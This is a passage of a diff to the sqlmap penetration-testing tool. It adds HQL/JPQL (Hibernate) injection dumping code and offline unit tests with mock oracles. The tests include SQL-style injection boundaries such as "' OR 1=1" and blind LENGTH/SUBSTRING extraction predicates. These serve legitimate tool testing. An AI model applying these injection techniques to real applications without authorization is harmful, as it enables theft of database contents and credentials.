+ logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities)))
+ for entity in entities:
+ _dumpEntity(slot.oracle, slot.place, slot.parameter, entity)
+
+ logger.info("HQL scan complete")
diff --git a/tests/test_hql.py b/tests/test_hql.py
new file mode 100644
index 000000000..a70292921
--- /dev/null
+++ b/tests/test_hql.py
@@ -0,0 +1,229 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock
+oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage,
+blind attribute enumeration, value extraction and output formatting can be exercised
+without a live Hibernate target.
+"""
+
+import os
+import re
+import sys
+import unittest
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+from _testutils import bootstrap
+bootstrap()
+
+import lib.techniques.hql.inject as hql
+
+
+class TestHelpers(unittest.TestCase):
+ def test_ratio(self):
+ self.assertGreater(hql._ratio("abc", "abc"), 0.9)
+ self.assertLess(hql._ratio("abc", "xyz"), 0.5)
+
+ def test_is_error(self):
+ self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''"))
+ self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'"))
+ self.assertFalse(hql._isError("normal page content"))
+
+ def test_backend_from_error(self):
+ self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate")
+ self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException"))
+ self.assertIsNone(hql._backendFromError("plain page"))
+
+ def test_entity_from_error(self):
+ self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member")
+ self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost")
+ self.assertIsNone(hql._entityFromError("nothing here"))
+
+ def test_short_entity(self):
+ self.assertEqual(hql._shortEntity("lab.App$Member"), "Member")
+ self.assertEqual(hql._shortEntity("com.acme.model.User"), "User")
+ self.assertEqual(hql._shortEntity("User"), "User")
+
+
+class TestBoundary(unittest.TestCase):
+ def test_wrap_string(self):
+ b = hql.Boundary("' OR ", " OR '1'='2", True)
+ self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2")
+
+ def test_base_sentinel_vs_numeric(self):
+ self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL)
+ self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1")
+
+ def test_scalar_casts_attribute(self):
+ expr = hql._scalar("Member", "id", "LENGTH(%s)", "id")
+ self.assertIn("CAST(_h.id AS string)", expr)
+ self.assertIn("FROM Member _h", expr)
+ self.assertIn("MIN(_h2.id)", expr)
+
+
+class TestDetection(unittest.TestCase):
+ def setUp(self):
+ self.original = hql._send
+
+ def tearDown(self):
+ hql._send = self.original
+
+ def test_boolean_detection(self):
+ # TRUE payloads return rows, FALSE payloads return an empty (but stable) page
+ def mock(place, parameter, value):
+ if "OR '1'='1" in value or "OR 1=1" in value:
+ return "alice
bob
"
+ return ""
+ hql._send = mock
+ template, payload, boundary = hql._detectBoolean("GET", "name")
+ self.assertIsNotNone(template)
+ self.assertIn("OR '1'='1", payload)
+ self.assertTrue(boundary.sentinel)
+
+ def test_no_detection_when_static(self):
+ hql._send = lambda place, parameter, value: "same"
+ template, _, _ = hql._detectBoolean("GET", "name")
+ self.assertIsNone(template)
+
+
+def _recordOracle(record, entity="Member"):
+ """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates
+ the engine emits, evaluated against an in-memory record dict."""
+
+ def truth(predicate):
+ # entity brute / attribute existence
+ m = re.search(r"FROM (\w+) _h", predicate)
+ if m and m.group(1) != entity:
+ return False
+ # entity brute: EXISTS(SELECT 1 FROM _h)
+ if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate):
+ return True
+ # attribute existence: EXISTS(SELECT _h. FROM _h)
+ m = re.search(r"SELECT _h\.(\w+) FROM", predicate)
+ if m:
+ return m.group(1) in record
+ # length: LENGTH(CAST(_h. AS string)) ... >= N
+ if "LENGTH" in predicate:
+ m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate)
+ n = re.search(r">=(\d+)", predicate)
+ if m and n:
+ return len(str(record.get(m.group(1), ""))) >= int(n.group(1))
+ # char: SUBSTRING(CAST(_h. AS string),,1) ... =''
+ if "SUBSTRING" in predicate:
+ m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
+ c = re.search(r"='(.)'\s*$", predicate)
+ if m and c:
+ attr, pos, ch = m.group(1), int(m.group(2)), c.group(1)
+ value = str(record.get(attr, ""))
+ return pos <= len(value) and value[pos - 1] == ch
+ return False
+
+ return truth
+
+
+class TestExtraction(unittest.TestCase):
+ def setUp(self):
+ self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"}
+ self.truth = _recordOracle(self.record)
+
+ def test_brute_entities(self):
+ self.assertEqual(hql._bruteEntities(self.truth), ["Member"])
+
+ def test_enum_fields(self):
+ fields = hql._enumFields(self.truth, "Member")
+ for expected in ("id", "name", "secret", "role"):
+ self.assertIn(expected, fields)
+
+ def test_infer_string_value(self):
+ self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice")
+
+ def test_infer_secret_with_symbols(self):
+ self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice")
+
+ def test_infer_numeric_via_cast(self):
+ self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1")
+
+ def test_infer_absent_attribute_empty(self):
+ self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "")
+
+
+def _multiOracle(records):
+ """Row-aware oracle: honors the "_h2. > " walk bound by selecting the
+ smallest-id record strictly greater than `after`."""
+
+ def pick(predicate):
+ m = re.search(r"_h2\.\w+>(\d+)", predicate)
+ after = int(m.group(1)) if m else None
+ cands = [r for r in records if after is None or int(r["id"]) > after]
+ return min(cands, key=lambda r: int(r["id"])) if cands else None
+
+ def truth(predicate):
+ if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate):
+ return True
+ m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate)
+ if m:
+ return m.group(1) in records[0]
+ rec = pick(predicate)
+ if rec is None:
+ return False
+ if "LENGTH" in predicate:
+ m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate)
+ n = re.search(r">=(\d+)", predicate)
+ if m and n:
+ return len(str(rec.get(m.group(1), ""))) >= int(n.group(1))
+ if "SUBSTRING" in predicate:
+ m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
+ c = re.search(r"='(.)'\s*$", predicate)
+ if m and c:
+ value = str(rec.get(m.group(1), ""))
+ pos = int(m.group(2))
+ return pos <= len(value) and value[pos - 1] == c.group(1)
+ return False
+
+ return truth
+
+
+class TestMultiRow(unittest.TestCase):
+ def setUp(self):
+ self.records = [
+ {"id": "1", "name": "alice", "role": "admin"},
+ {"id": "2", "name": "bob", "role": "user"},
+ {"id": "5", "name": "carol", "role": "staff"},
+ ]
+ self.truth = _multiOracle(self.records)
+
+ def _walk(self, fields, pin):
+ rows, after = [], None
+ for _ in range(20):
+ pinValue = hql._inferValue(self.truth, "Member", pin, pin, after)
+ if not pinValue:
+ break
+ record = {pin: pinValue}
+ for field in fields:
+ if field != pin:
+ record[field] = hql._inferValue(self.truth, "Member", field, pin, after)
+ rows.append(record)
+ if not re.match(r"\A\d+\Z", pinValue):
+ break
+ after = pinValue
+ return rows
+
+ def test_walks_all_rows_in_order(self):
+ rows = self._walk(["id", "name", "role"], "id")
+ self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"])
+ self.assertEqual([r["id"] for r in rows], ["1", "2", "5"])
+ self.assertEqual(rows[2]["role"], "staff")
+
+
+class TestGrid(unittest.TestCase):
+ def test_grid(self):
+ out = hql._grid(["id", "name"], [["1", "alice"]])
+ self.assertIn("alice", out)
+ self.assertIn("+--", out)
+
+
+if __name__ == "__main__":
+ unittest.main()